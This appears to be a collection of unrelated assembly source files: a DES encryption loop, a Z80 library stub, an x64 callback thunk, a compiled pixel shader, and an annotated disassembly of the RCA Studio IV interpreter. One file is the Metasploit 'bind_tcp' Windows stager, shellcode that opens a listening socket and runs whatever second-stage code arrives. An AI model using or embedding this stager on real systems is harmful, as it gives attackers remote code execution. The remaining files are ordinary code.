mov cl,dh
shr eax,16
xor esi,DWORD [0x100+ebx*1+ebp]
mov bl,ah
shr edx,16
xor esi,DWORD [0x300+ecx*1+ebp]
mov cl,dh
and eax,0xff
and edx,0xff
mov ebx,DWORD [0x600+ebx*1+ebp]
xor esi,ebx
mov ebx,DWORD [0x700+ecx*1+ebp]
xor esi,ebx
mov ebx,DWORD [0x400+eax*1+ebp]
xor esi,ebx
mov ebx,DWORD [0x500+edx*1+ebp]
xor esi,ebx
mov ebp,DWORD [32+esp]
;
; Round 2
mov eax,DWORD [36+esp]
mov edx,esi
shr edx,16
mov ecx,DWORD [40+esp]
xor edx,esi
and eax,edx
and edx,ecx
mov ebx,eax
shl ebx,16
mov ecx,edx
shl ecx,16
xor eax,ebx
xor edx,ecx
mov ebx,DWORD [16+ebp]
xor eax,ebx
mov ecx,DWORD [20+ebp]
xor eax,esi
xor edx,esi
xor edx,ecx
and eax,0xfcfcfcfc
xor ebx,ebx
and edx,0xcfcfcfcf
xor ecx,ecx
mov bl,al
mov cl,ah
ror edx,4
mov ebp,DWORD [4+esp]
xor edi,DWORD [ebx*1+ebp]
mov bl,dl
xor edi,DWORD [0x200+ecx*1+ebp]
mov cl,dh
shr eax,16
xor edi,DWORD [0x100+ebx*1+ebp]
mov bl,ah
shr edx,16
xor edi,DWORD [0x300+ecx*1+ebp]
mov cl,dh
and eax,0xff
and edx,0xff
mov ebx,DWORD [0x600+ebx*1+ebp]
xor edi,ebx
mov ebx,DWORD [0x700+ecx*1+ebp]
xor edi,ebx
mov ebx,DWORD [0x400+eax*1+ebp]
xor edi,ebx
mov ebx,DWORD [0x500+edx*1+ebp]
xor edi,ebx
mov ebp,DWORD [32+esp]
;
; Round 3
mov eax,DWORD [36+esp]
mov edx,edi
shr edx,16
mov ecx,DWORD [40+esp]
xor edx,edi
and eax,edx
and edx,ecx
mov ebx,eax
shl ebx,16
mov ecx,edx
shl ecx,16
xor eax,ebx
xor edx,ecx
mov ebx,DWORD [24+ebp]
xor eax,ebx
mov ecx,DWORD [28+ebp]
xor eax,edi
xor edx,edi
xor edx,ecx
and eax,0xfcfcfcfc
xor ebx,ebx
and edx,0xcfcfcfcf
xor ecx,ecx
mov bl,al
mov cl,ah
ror edx,4
mov ebp,DWORD [4+esp]
xor esi,DWORD [ebx*1+ebp]
mov bl,dl
xor esi,DWORD [0x200+ecx*1+ebp]
mov cl,dh
shr eax,16
xor esi,DWORD [0x100+ebx*1+ebp]
mov bl,ah
shr edx,16
xor esi,DWORD [0x300+ecx*1+ebp]
mov cl,dh
and eax,0xff
and edx,0xff
mov ebx,DWORD [0x600+ebx*1+ebp]
xor esi,ebx
mov ebx,DWORD [0x700+ecx*1+ebp]
xor esi,ebx
mov ebx,DWORD [0x400+eax*1+ebp]
xor esi,ebx
mov ebx,DWORD [0x500+edx*1+ebp]
xor esi,ebx
mov ebp,DWORD [32+esp]
;
; Round 4
mov eax,DWORD [36+esp]
mov edx,esi
shr edx,16
mov ecx,DWORD [40+esp]
xor edx,esi
and eax,edx
and edx,ecx
mov ebx,eax
shl ebx,16
mov ecx,edx
shl ecx,16
xor eax,ebx
xor edx,ecx
mov ebx,DWORD [32+ebp]
xor eax,ebx
mov ecx,DWORD [36+ebp]
xor eax,esi
xor edx,esi
xor edx,ecx
and eax,0xfcfcfcfc
xor ebx,ebx
and edx,0xcfcfcfcf
xor ecx,ecx
mov bl,al
mov cl,ah
ror edx,4
mov ebp,DWORD [4+esp]
xor edi,DWORD [ebx*1+ebp]
mov bl,dl
xor edi,DWORD [0x200+ecx*1+ebp]
mov cl,dh
shr eax,16
xor edi,DWORD [0x100+ebx*1+ebp]
mov bl,ah
shr edx,16
xor edi,DWORD [0x300+ecx*1+ebp]
mov cl,dh
and eax,0xff
and edx,0xff
mov ebx,DWORD [0x600+ebx*1+ebp]
xor edi,ebx
mov ebx,DWORD [0x700+ecx*1+ebp]
xor edi,ebx
mov ebx,DWORD [0x400+eax*1+ebp]
xor edi,ebx
mov ebx,DWORD [0x500+edx*1+ebp]
xor edi,ebx
mov ebp,DWORD [32+esp]
;
; Round 5
mov eax,DWORD [36+esp]
mov edx,edi
shr edx,16
mov ecx,DWORD [40+esp]
xor edx,edi
and eax,edx
and edx,ecx
mov ebx,eax
shl ebx,16
mov ecx,edx
shl ecx,16
xor eax,ebx
xor edx,ecx
mov ebx,DWORD [40+ebp]
xor eax,ebx
mov ecx,DWORD [44+ebp]
xor eax,edi
xor edx,edi
xor edx,ecx
and eax,0xfcfcfcfc
xor ebx,ebx
and edx,0xcfcfcfcf
xor ecx,ecx
mov bl,al
mov cl,ah
ror edx,4
mov ebp,DWORD [4+esp]
xor esi,DWORD [ebx*1+ebp]
mov bl,dl
xor esi,DWORD [0x200+ecx*1+ebp]
mov cl,dh
shr eax,16
xor esi,DWORD [0x100+ebx*1+ebp]
mov bl,ah
shr edx,16
xor esi,DWORD [0x300+ecx*1+ebp]
mov cl,dh
and eax,0xff
and edx,0xff
mov ebx,DWORD [0x600+ebx*1+ebp]
xor esi,ebx
mov ebx,DWORD [0x700+ecx*1+ebp]
xor esi,ebx
mov ebx,DWORD [0x400+eax*1+ebp]
xor esi,ebx
mov ebx,DWORD [0x500+edx*1+ebp]
xor esi,ebx
mov ebp,DWORD [32+esp]
;
; Round 6
mov eax,DWORD [36+esp]
mov edx,esi
shr edx,16
mov ecx,DWORD [40+esp]
xor edx,esi
and eax,edx
and edx,ecx
mov ebx,eax
shl ebx,16
mov ecx,edx
shl ecx,16
xor eax,ebx
xor edx,ecx
mov ebx,DWORD [48+ebp]
xor eax,ebx
mov ecx,DWORD [52+ebp]
xor eax,esi
xor edx,esi
xor edx,ecx
and eax,0xfcfcfcfc
xor ebx,ebx
and edx,0xcfcfcfcf
xor ecx,ecx
mov bl,al
mov cl,ah
ror edx,4
mov ebp,DWORD [4+esp]
xor edi,DWORD [ebx*1+ebp]
mov bl,dl
xor edi,DWORD [0x200+ecx*1+ebp]
mov cl,dh
shr eax,16
xor edi,DWORD [0x100+ebx*1+ebp]
mov bl,ah
shr edx,16
xor edi,DWORD [0x300+ecx*1+ebp]
mov cl,dh
and eax,0xff
and edx,0xff
mov ebx,DWORD [0x600+ebx*1+ebp]
xor edi,ebx
mov ebx,DWORD [0x700+ecx*1+ebp]
xor edi,ebx
mov ebx,DWORD [0x400+eax*1+ebp]
xor edi,ebx
mov ebx,DWORD [0x500+edx*1+ebp]
xor edi,ebx
mov ebp,DWORD [32+esp]
;
; Round 7
mov eax,DWORD [36+esp]
mov edx,edi
shr edx,16
mov ecx,DWORD [40+esp]
xor edx,edi
and eax,edx
and edx,ecx
mov ebx,eax
shl ebx,16
mov ecx,edx
shl ecx,16
xor eax,ebx
xor edx,ecx
mov ebx,DWORD [56+ebp]
xor eax,ebx
mov ecx,DWORD [60+ebp]
xor eax,edi
xor edx,edi
xor edx,ecx
and eax,0xfcfcfcfc
xor ebx,ebx
and edx,0xcfcfcfcf
xor ecx,ecx
mov bl,al
mov cl,ah
ror edx,4
mov ebp,DWORD [4+esp]
xor esi,DWORD [ebx*1+ebp]
mov bl,dl
xor esi,DWORD [0x200+ecx*1+ebp]
mov cl,dh
shr eax,16
xor esi,DWORD [0x100+ebx*1+ebp]
mov bl,ah
shr edx,16
xor esi,DWORD [0x300+ecx*1+ebp]
mov cl,dh
and eax,0xff
and edx,0xff
mov ebx,DWORD [0x600+ebx*1+ebp]
xor esi,ebx
mov ebx,DWORD [0x700+ecx*1+ebp]
xor esi,ebx
mov ebx,DWORD [0x400+eax*1+ebp]
xor esi,ebx
mov ebx,DWORD [0x500+edx*1+ebp]
xor esi,ebx
mov ebp,DWORD [32+esp]
;
; Round 8
mov eax,DWORD [36+esp]
mov edx,esi
shr edx,16
mov ecx,DWORD [40+esp]
xor edx,esi
and eax,edx
and edx,ecx
mov ebx,eax
shl ebx,16
mov ecx,edx
shl ecx,16
xor eax,ebx
xor edx,ecx
mov ebx,DWORD [64+ebp]
xor eax,ebx
mov ecx,DWORD [68+ebp]
xor eax,esi
xor edx,esi
xor edx,ecx
and eax,0xfcfcfcfc
xor ebx,ebx
and edx,0xcfcfcfcf
xor ecx,ecx
mov bl,al
mov cl,ah
ror edx,4
mov ebp,DWORD [4+esp]
xor edi,DWORD [ebx*1+ebp]
mov bl,dl
xor edi,DWORD [0x200+ecx*1+ebp]
mov cl,dh
shr eax,16
xor edi,DWORD [0x100+ebx*1+ebp]
mov bl,ah
shr edx,16
xor edi,DWORD [0x300+ecx*1+ebp]
mov cl,dh
and eax,0xff
and edx,0xff
mov ebx,DWORD [0x600+ebx*1+ebp]
xor edi,ebx
mov ebx,DWORD [0x700+ecx*1+ebp]
xor edi,ebx
mov ebx,DWORD [0x400+eax*1+ebp]
xor edi,ebx
mov ebx,DWORD [0x500+edx*1+ebp]
xor edi,ebx
mov ebp,DWORD [32+esp]
;
; Round 9
mov eax,DWORD [36+esp]
mov edx,edi
shr edx,16
mov ecx,DWORD [40+esp]
xor edx,edi
and eax,edx
and edx,ecx
mov ebx,eax
shl ebx,16
mov ecx,edx
shl ecx,16
xor eax,ebx
xor edx,ecx
mov ebx,DWORD [72+ebp]
xor eax,ebx
mov ecx,DWORD [76+ebp]
xor eax,edi
xor edx,edi
xor edx,ecx
and eax,0xfcfcfcfc
xor ebx,ebx
and edx,0xcfcfcfcf
xor ecx,ecx
mov bl,al
mov cl,ah
ror edx,4
mov ebp,DWORD [4+esp]
xor esi,DWORD [ebx*1+ebp]
mov bl,dl
xor esi,DWORD [0x200+ecx*1+ebp]
mov cl,dh
shr eax,16
xor esi,DWORD [0x100+ebx*1+ebp]
mov bl,ah
shr edx,16
xor esi,DWORD [0x300+ecx*1+ebp]
mov cl,dh
and eax,0xff
and edx,0xff
mov ebx,DWORD [0x600+ebx*1+ebp]
xor esi,ebx
mov ebx,DWORD [0x700+ecx*1+ebp]
xor esi,ebx
mov ebx,DWORD [0x400+eax*1+ebp]
xor esi,ebx
mov ebx,DWORD [0x500+edx*1+ebp]
xor esi,ebx
mov ebp,DWORD [32+esp]
;
; Round 10
mov eax,DWORD [36+esp]
mov edx,esi
shr edx,16
mov ecx,DWORD [40+esp]
xor edx,esi
and eax,edx
and edx,ecx
mov ebx,eax
shl ebx,16
mov ecx,edx
shl ecx,16
xor eax,ebx
xor edx,ecx
mov ebx,DWORD [80+ebp]
xor eax,ebx
mov ecx,DWORD [84+ebp]
xor eax,esi
xor edx,esi
xor edx,ecx
and eax,0xfcfcfcfc
xor ebx,ebx
and edx,0xcfcfcfcf
xor ecx,ecx
mov bl,al
mov cl,ah
ror edx,4
mov ebp,DWORD [4+esp]
xor edi,DWORD [ebx*1+ebp]
mov bl,dl
xor edi,DWORD [0x200+ecx*1+ebp]
mov cl,dh
shr eax,16
xor edi,DWORD [0x100+ebx*1+ebp]
mov bl,ah
shr edx,16
xor edi,DWORD [0x300+ecx*1+ebp]
mov cl,dh
and eax,0xff
and edx,0xff
mov ebx,DWORD [0x600+ebx*1+ebp]
xor edi,ebx
mov ebx,DWORD [0x700+ecx*1+ebp]
xor edi,ebx
mov ebx,DWORD [0x400+eax*1+ebp]
xor edi,ebx
mov ebx,DWORD [0x500+edx*1+ebp]
xor edi,ebx
mov ebp,DWORD [32+esp]
;
; Round 11
mov eax,DWORD [36+esp]
mov edx,edi
shr edx,16
mov ecx,DWORD [40+esp]
xor edx,edi
and eax,edx
and edx,ecx
mov ebx,eax
shl ebx,16
mov ecx,edx
shl ecx,16
xor eax,ebx
xor edx,ecx
mov ebx,DWORD [88+ebp]
xor eax,ebx
mov ecx,DWORD [92+ebp]
xor eax,edi
xor edx,edi
xor edx,ecx
and eax,0xfcfcfcfc
xor ebx,ebx
and edx,0xcfcfcfcf
xor ecx,ecx
mov bl,al
mov cl,ah
ror edx,4
mov ebp,DWORD [4+esp]
xor esi,DWORD [ebx*1+ebp]
mov bl,dl
xor esi,DWORD [0x200+ecx*1+ebp]
mov cl,dh
shr eax,16
xor esi,DWORD [0x100+ebx*1+ebp]
mov bl,ah
shr edx,16
xor esi,DWORD [0x300+ecx*1+ebp]
mov cl,dh
and eax,0xff
and edx,0xff
mov ebx,DWORD [0x600+ebx*1+ebp]
xor esi,ebx
mov ebx,DWORD [0x700+ecx*1+ebp]
xor esi,ebx
mov ebx,DWORD [0x400+eax*1+ebp]
xor esi,ebx
mov ebx,DWORD [0x500+edx*1+ebp]
xor esi,ebx
mov ebp,DWORD [32+esp]
;
; Round 12
mov eax,DWORD [36+esp]
mov edx,esi
shr edx,16
mov ecx,DWORD [40+esp]
xor edx,esi
and eax,edx
and edx,ecx
mov ebx,eax
shl ebx,16
mov ecx,edx
shl ecx,16
xor eax,ebx
xor edx,ecx
mov ebx,DWORD [96+ebp]
xor eax,ebx
mov ecx,DWORD [100+ebp]
xor eax,esi
xor edx,esi
xor edx,ecx
and eax,0xfcfcfcfc
xor ebx,ebx
and edx,0xcfcfcfcf
xor ecx,ecx
mov bl,al
mov cl,ah
ror edx,4
mov ebp,DWORD [4+esp]
xor edi,DWORD [ebx*1+ebp]
mov bl,dl
xor edi,DWORD [0x200+ecx*1+ebp]
mov cl,dh
shr eax,16
xor edi,DWORD [0x100+ebx*1+ebp]
mov bl,ah
shr edx,16
xor edi,DWORD [0x300+ecx*1+ebp]
mov cl,dh
and eax,0xff
and edx,0xff
mov ebx,DWORD [0x600+ebx*1+ebp]
xor edi,ebx
mov ebx,DWORD [0x700+ecx*1+ebp]
xor edi,ebx
mov ebx,DWORD [0x400+eax*1+ebp]
xor edi,ebx
mov ebx,DWORD [0x500+edx*1+ebp]
xor edi,ebx
mov ebp,DWORD [32+esp]
;
; Round 13
mov eax,DWORD [36+esp]
mov edx,edi
shr edx,16
mov ecx,DWORD [40+esp]
xor edx,edi
and eax,edx
and edx,ecx
mov ebx,eax
shl ebx,16
mov ecx,edx
shl ecx,16
xor eax,ebx
xor edx,ecx
mov ebx,DWORD [104+ebp]
xor eax,ebx
mov ecx,DWORD [108+ebp]
xor eax,edi
xor edx,edi
xor edx,ecx
and eax,0xfcfcfcfc
xor ebx,ebx
and edx,0xcfcfcfcf
xor ecx,ecx
mov bl,al
mov cl,ah
ror edx,4
mov ebp,DWORD [4+esp]
xor esi,DWORD [ebx*1+ebp]
mov bl,dl
xor esi,DWORD [0x200+ecx*1+ebp]
mov cl,dh
shr eax,16
xor esi,DWORD [0x100+ebx*1+ebp]
mov bl,ah
shr edx,16
xor esi,DWORD [0x300+ecx*1+ebp]
mov cl,dh
and eax,0xff
and edx,0xff
mov ebx,DWORD [0x600+ebx*1+ebp]
xor esi,ebx
mov ebx,DWORD [0x700+ecx*1+ebp]
xor esi,ebx
mov ebx,DWORD [0x400+eax*1+ebp]
xor esi,ebx
mov ebx,DWORD [0x500+edx*1+ebp]
xor esi,ebx
mov ebp,DWORD [32+esp]
;
; Round 14
mov eax,DWORD [36+esp]
mov edx,esi
shr edx,16
mov ecx,DWORD [40+esp]
xor edx,esi
and eax,edx
and edx,ecx
mov ebx,eax
shl ebx,16
mov ecx,edx
shl ecx,16
xor eax,ebx
xor edx,ecx
mov ebx,DWORD [112+ebp]
xor eax,ebx
mov ecx,DWORD [116+ebp]
xor eax,esi
xor edx,esi
xor edx,ecx
and eax,0xfcfcfcfc
xor ebx,ebx
and edx,0xcfcfcfcf
xor ecx,ecx
mov bl,al
mov cl,ah
ror edx,4
mov ebp,DWORD [4+esp]
xor edi,DWORD [ebx*1+ebp]
mov bl,dl
xor edi,DWORD [0x200+ecx*1+ebp]
mov cl,dh
shr eax,16
xor edi,DWORD [0x100+ebx*1+ebp]
mov bl,ah
shr edx,16
xor edi,DWORD [0x300+ecx*1+ebp]
mov cl,dh
and eax,0xff
and edx,0xff
mov ebx,DWORD [0x600+ebx*1+ebp]
xor edi,ebx
mov ebx,DWORD [0x700+ecx*1+ebp]
xor edi,ebx
mov ebx,DWORD [0x400+eax*1+ebp]
xor edi,ebx
mov ebx,DWORD [0x500+edx*1+ebp]
xor edi,ebx
mov ebp,DWORD [32+esp]
;
; Round 15
mov eax,DWORD [36+esp]
mov edx,edi
shr edx,16
mov ecx,DWORD [40+esp]
xor edx,edi
and eax,edx
and edx,ecx
mov ebx,eax
shl ebx,16
mov ecx,edx
shl ecx,16
xor eax,ebx
xor edx,ecx
mov ebx,DWORD [120+ebp]
xor eax,ebx
mov ecx,DWORD [124+ebp]
xor eax,edi
xor edx,edi
xor edx,ecx
and eax,0xfcfcfcfc
xor ebx,ebx
and edx,0xcfcfcfcf
xor ecx,ecx
mov bl,al
mov cl,ah
ror edx,4
mov ebp,DWORD [4+esp]
xor esi,DWORD [ebx*1+ebp]
mov bl,dl
xor esi,DWORD [0x200+ecx*1+ebp]
mov cl,dh
shr eax,16
xor esi,DWORD [0x100+ebx*1+ebp]
mov bl,ah
shr edx,16
xor esi,DWORD [0x300+ecx*1+ebp]
mov cl,dh
and eax,0xff
and edx,0xff
mov ebx,DWORD [0x600+ebx*1+ebp]
xor esi,ebx
mov ebx,DWORD [0x700+ecx*1+ebp]
xor esi,ebx
mov ebx,DWORD [0x400+eax*1+ebp]
xor esi,ebx
mov ebx,DWORD [0x500+edx*1+ebp]
xor esi,ebx
mov ebp,DWORD [32+esp]
mov ebx,DWORD [esp]
mov eax,edi
dec ebx
mov edi,esi
mov esi,eax
mov DWORD [esp],ebx
jnz NEAR L$000start
;
; FP
mov edx,DWORD [28+esp]
ror edi,1
mov eax,esi
xor esi,edi
and esi,0xaaaaaaaa
xor eax,esi
xor edi,esi
;
rol eax,23
mov esi,eax
xor eax,edi
and eax,0x03fc03fc
xor esi,eax
xor edi,eax
;
rol esi,10
mov eax,esi
xor esi,edi
and esi,0x33333333
xor eax,esi
xor edi,esi
;
rol edi,18
mov esi,edi
xor edi,eax
and edi,0xfff0000f
xor esi,edi
xor eax,edi
;
rol esi,12
mov edi,esi
xor esi,eax
and esi,0xf0f0f0f0
xor edi,esi
xor eax,esi
;
ror eax,4
mov DWORD [edx],eax
mov DWORD [4+edx],edi
add esp,8
pop edi
pop esi
pop ebx
pop ebp
ret
|
; CALLER linkage for function pointers
PUBLIC freopen
EXTERN freopen_callee
EXTERN ASMDISP_FREOPEN_CALLEE
.freopen
pop af
pop bc
pop de
pop hl
push hl
push de
push bc
push af
jp freopen_callee + ASMDISP_FREOPEN_CALLEE
|
; auto-generated by gen-masm.sh
.CODE
DCThunk_size = 24
DCArgs_size_win64 = 80
DCArgs_size_sysv = 128
DCValue_size = 8
FRAME_arg0_win64 = 48
FRAME_arg0_sysv = 16
FRAME_return = 8
FRAME_parent = 0
FRAME_DCArgs_sysv = -128
FRAME_DCValue_sysv = -136
FRAME_DCArgs_win64 = -80
FRAME_DCValue_win64 = -80
CTX_thunk = 0
CTX_handler = 24
CTX_userdata = 32
DCCallback_size = 40
dcCallback_x64_sysv PROC
OPTION PROLOGUE:NONE, EPILOGUE:NONE
push RBP
mov RBP,RSP
sub RSP,8*8
movsd qword ptr [RSP+8*7],XMM7
movsd qword ptr [RSP+8*6],XMM6
movsd qword ptr [RSP+8*5],XMM5
movsd qword ptr [RSP+8*4],XMM4
movsd qword ptr [RSP+8*3],XMM3
movsd qword ptr [RSP+8*2],XMM2
movsd qword ptr [RSP+8*1],XMM1
movsd qword ptr [RSP+8*0],XMM0
push R9
push R8
push RCX
push RDX
push RSI
push RDI
push 0
lea RDX,qword ptr [RBP+FRAME_arg0_sysv]
push RDX
mov RSI,RSP
push 0
mov RDI,RAX
mov RCX,qword ptr [RDI+CTX_userdata]
mov RDX,RSP
push 0
call qword ptr [RAX+CTX_handler]
mov DL,AL
mov RAX,qword ptr [RBP+FRAME_DCValue_sysv]
cmp DL,102
je return_f64
cmp DL,100
jne return_i64
return_f64:
movd XMM0,RAX
return_i64:
mov RSP,RBP
pop RBP
ret
dcCallback_x64_sysv ENDP
dcCallback_x64_win64 PROC
OPTION PROLOGUE:NONE, EPILOGUE:NONE
push RBP
mov RBP,RSP
sub RSP,4*8
movsd qword ptr [RSP+8*3],XMM3
movsd qword ptr [RSP+8*2],XMM2
movsd qword ptr [RSP+8*1],XMM1
movsd qword ptr [RSP+8*0],XMM0
push R9
push R8
push RDX
push RCX
push 0
lea RDX,qword ptr [RBP+FRAME_arg0_win64]
push RDX
mov RDX,RSP
mov RCX,RAX
mov R9,qword ptr [RAX+CTX_userdata]
mov R8,RSP
sub RSP,4*8
call qword ptr [RAX+CTX_handler]
mov RAX,qword ptr [RBP+FRAME_DCValue_win64]
movd XMM0,RAX
mov RSP,RBP
pop RBP
ret
dcCallback_x64_win64 ENDP
END
|
;
; Metasploit Framework
; http://www.metasploit.com
;
; Source for bind_tcp (stager)
;
; Authors: hdm <hdm@metasploit.com>, vlad902 <vlad902@gmail.com>
; Size : 287
;
cld
push byte -0x15
inc edi
call 0x2
pusha
xor ebx,ebx
mov edi,[ebp+0x3c]
mov edi,[ebp+edi+0x78]
add edi,ebp
mov edx,[edi+0x20]
add edx,ebp
mov esi,[edx+ebx*4]
add esi,ebp
xor eax,eax
cdq
lodsb
ror edx,0xd
add edx,eax
test al,al
jnz 0x22
inc ebx
cmp dx,cx
jnz 0x15
dec ebx
mov ecx,[edi+0x24]
add ecx,ebp
mov bx,[ecx+ebx*2]
mov ecx,[edi+0x1c]
add ecx,ebp
add ebp,[ecx+ebx*4]
mov [esp+0x1c],ebp
popa
jmp eax
xor ebx,ebx
mov eax,[fs:ebx+0x30]
mov eax,[eax+0xc]
mov esi,[eax+0x1c]
lodsd
mov ebp,[eax+0x8]
pop esi
push bx
push word 0x3233
push dword 0x5f327377
push esp
mov cx,0x6072
call esi
xchg eax,ebp
push ebx
push ebx
push ebx
push ebx
push ebx
inc ebx
push ebx
inc ebx
push ebx
mov edi,esp
sub di,0x208
push edi
push ebx
mov cx,0xdfe7
call esi
mov cx,0x6fa8
call esi
xchg eax,edi
push word 0x5c11
push bx
mov ecx,esp
push byte +0x10
push ecx
push edi
mov cx,0x3b80
call esi
push ebx
push edi
mov cx,0x4975
call esi
push esp
push esp
push esp
push edi
mov cx,0x4c32
call esi
xchg eax,edi
push eax
mov cx,0xce33
call esi
mov ecx,esp
push eax
mov ah,0xc
push eax
push ecx
push edi
push ecx
mov cx,0x38c0
jmp esi
arpl [ebp+0x64],bp
gs js 0x135
and [edi],ch
arpl [eax],sp
outsb
gs jz 0xf8
jnz 0x14d
gs jc 0xfd
insd
gs jz 0x142
jnc 0x153
insb
outsd
imul esi,[eax+0x20],dword 0x4444412f
and [esi],ah
and [es:esi+0x65],ch
jz 0x115
insb
outsd
arpl [ecx+0x6c],sp
a16 jc 0x16c
jnz 0x16f
and [ecx+0x64],al
insd
imul ebp,[esi+0x69],dword 0x61727473
jz 0x17b
jc 0x181
and [ebp+0x65],ch
jz 0x174
jnc 0x185
insb
outsd
imul esi,[eax+0x2f],dword 0x444441
|
//
// Generated by Microsoft (R) HLSL Shader Compiler 9.30.9200.16384
//
///
// Parameters:
//
// Texture2D linearSampler+field;
//
//
// Registers:
//
// Name Reg Size
// ------------------- ----- ----
// linearSampler+field s0 1
//
ps_3_0
def c0, 0.100000001, 2, 0, 0
dcl_texcoord v0.xy
dcl_texcoord1 v1.xy
dcl_texcoord2 v2.xy
dcl_texcoord3 v3.xy
dcl_texcoord4 v4.xy
dcl_texcoord5 v5.xy
dcl_texcoord6 v6.xy
dcl_2d s0
texld r0, v2, s0
texld r1, v1, s0
texld r2, v0, s0
add r0.x, -r1.x, r2.x
add r0.x, r2.y, r0.x
add r0.x, -r0.y, r0.x
mul r0.y, r0.x, c0.x
mad oC0.z, -r0.y, c0.y, r2.z
mov oC0.w, r2.w
mad r0.xy, r0.x, -c0.x, r2
texld r1, v3, s0
add r0.z, -r0.x, r1.x
add r0.z, r1.y, r0.z
texld r1, v4, s0
add r1.x, r0.z, -r1.y
texld r2, v6, s0
texld r3, v5, s0
add r0.z, -r2.x, r3.x
add r0.z, r3.y, r0.z
add r1.y, -r0.y, r0.z
mad oC0.xy, r1, c0.x, r0
// approximately 21 instruction slots used (7 texture, 14 arithmetic)
|
; Studio IV Interpreter final by Joe Weisbecker
; disassembled in Emma 02 from Weisbecker Collection cassette
; tape S.572.21B_Studio_IV_Interpreter_final_1_of_1.wav
; The Sarnoff Collection, The College of New Jersey
; Extracted by Andy Modla 2/22/2018
; Comments by Marcel van Tongeren
; Memory Map:
; 0000 - 07FF System ROM
; 0800 - 0FFF Cartridge ROM 1
; 1000 - 1FFF Cartridge ROM 2
; 2000 - 23FF Display RAM (SW changeable via RAM pointer on 27F2/27F3)
; 2400 - 26FF Not used or possibly RAM?
; 2700 - 27FF RAM used by System ROM
; 2800 - 2BFF Colour RAM, lower 3 or 4 bits used for colour indication
; 2C00 - FFFF Not used?
; I/O Map:
; Q: Sound on/off, frequency as defined by tone latch
; EF3: Key pressed on selected port (key pad 1)
; EF4: Key pressed on selected port (key pad 2)
; OUT 1: Tone latch, which sets tone frequency
; OUT 2: Select key / port
; OUT 4&6: bit 0-2 background colour, bit 3 white foreground
; OUT 4&6: bit 4-5 enable graphics, bit 6 PAL/NTSC
; OUT 5&7: Signal video chip to enable DMA towards the 1802 to fetch display data
; Register usage
; R0 DMA pointer
; R1 Interrupt Routine program counter
; R2 Stack pointer
; R3 interpreter program counter
; R4 call routine program counter
; R5 pseudo code instruction pointer
; R6 Vx pointer
; R7 Vy pointer
; R8
; R9 Random number
; RA
; RB Display page pointer
; RC
; RD
; RE I pointer
; RF
;
; Program Variables V0 to VF
; 27E0 - 27EF
;
; Interpreter variables
; 2700/2701 Temporary storage for I register
; 2702-270B Temporary storage for V0 to V9 via PUSH/POP commands
; 270B Random number after using RND [270B] command
;
; 27F2/27F3 Display buffer address pointer
; 27F4 OUT 4 value
; 27F5 Number of vertical lines (0x40, 64)
; 27F6/27F7 I Pointer to memory 0000 to 3FFF
; Origin set to 00000H, EOF = 007FFH
ORG 00000H
; CPU Type:
CPU 1802
; Studio IV Pseudo code definition
; Addr. CODE Emma 02 code Explanation
; ===== ==== ============ ===========
; 0293: 0aaa LD I, 0aaa Load I with address 0000 to 0FFF
; 1aaa LD I, 1aaa Load I with address 1000 to 1FFF
; 2aaa LD I, 2aaa Load I with address 2000 to 2FFF
; 3aaa LD I, 3aaa Load I with address 3000 to 3FFF
; 0100:
; 010B: 4x0y LD B, [Vy], Vx Convert Vx to 3 digit decimal at [Vy+2700], [Vy+2701], [Vy+2702]
; LD B, Vy, Vx
; 013E: 4x1y OR Vx, Vy Vx = Vx OR Vy
; 4x2y AND Vx, Vy Vx = Vx + Vy
; 4x3y XOR Vx, Vy Vx = Vx XOR Vy
; 4x4y ADD Vx, Vy Vx = Vx + Vy, VB is carry / not borrow
; 4x5y SUB Vx, Vy Vx = Vx - Vy, VB is carry / not borrow
; 0155: 4x6n SHL Vx, n Vx = Vx SHL n times, VB will contains bits shifted 'out of Vx'
; 0198: 4x7y KEYP Vy Wait for key and return key in Vy
; VA contains keypad (0 key pad player 1, 1 keypad player 2)
; VC = x << 3
; 4x8y KEYR Vy Wait for key press/release and return key in Vy
; VA contains keypad (0 key pad player 1, 1 keypad player 2)
; VC = x << 3
; 016D: 4x9n SHR Vx, n Vx = Vx SHR n times, VB will contains bits shifted 'out of Vx'
; 0128: 4xAy ADDN Vx, Vy ADD Nibbles, Vx-n0 = Vx-n0 + Vy-n0 and Vx-n1 = Vx-n1 + Vy-n1
; (Vx-n0 is the lower 4 bits of Vx, Vx-n1 the higer 4 bits)
; 0183: 4.B. JP I Jump to address I
; JP
; 018A: 4xCy SHR Vx, Vy Vx = (Vx SHR 3) AND 0xF, Vy =(Vy SHR 2) AND 0xF
; 0188: 4.D. STOP Wait in endless loop
; 01E0: 4xEn DRW I, Vx, n Draw pattern from [I] on screen position Vx, V(x+1) (128x64 positions),
; width 8 pixels; n lines.
; 01CA: 4.Fy KEY Vy Check if key is pressed, if so return key in Vy and VB=1
; (VB=0, no key pressed)
; VA contains keypad (0 key pad player 1, 1 keypad player 2)
; 0300:
; 0360: 5.0. SYS I Call 1802 routine at address I, end routine with SEP R4
; 031C: 5x1y SWITCH Vx, Vy,[I] Switch value [I] and onwards with Vx until Vy
; SWITCH Vx, Vy, I
; 0374: 5x2. DRW I, Vx Draw patterns from [I] on screen
; size: 8*4 (w*h)
; Repeat horizontal: Vx high nibble
; Repeat vertical: Vx+1 high nibble
; Screen position: Vx, Vx+1 low nibble (16x16 positions)
; 032E: 5x3y JE I, Vx, Vy IF Vx=Vy THEN jump to I
; JE Vx, Vy
; 0337: 5x4y JU I, Vx, Vy IF Vx!=Vy THEN jump to I
; JU Vx, Vy
; 036C: 5x5y CLR Vx, Vy Store colour Vy (lowest 4 bit) in colour RAM
; size: 8*4 (w*h)
; Repeat horizontal: Vx high nibble
; Repeat vertical: Vx+1 high nibble
; Screen position: Vx, Vx+1 low nibble (16x16 positions)
; 036F: 5x6c CLR Vx, c Store colour c in colour RAM
; size: 8*4 (w*h)
; Repeat horizontal: Vx high nibble
; Repeat vertical: Vx+1 high nibble
; Screen position: Vx, Vx+1 low nibble (16x16 positions)
; 0374: 5x7. DRWR I, Vx Draw pattern from [I] on screen and repeat the same pattern
; size: 8*4 (w*h)
; Repeat horizontal: Vx high nibble
; Repeat vertical: Vx+1 high nibble
; Screen position: Vx, Vx+1 low nibble (16x16 positions)
; 034A: 5.8y JK I, Vy IF KEY Vy is pressed THEN jump to I
; JK Vy VA contains keypad (0 key pad player 1, 1 keypad player 2)
; 0354: 5.9y JNK I, Vy IF KEY Vy not pressed THEN jump to I
; JNK Vy VA contains keypad (0 key pad player 1, 1 keypad player 2)
; 033C: 5xAy JG I, Vx, Vy IF Vx > Vy THEN jump to I
; JG Vx, Vy
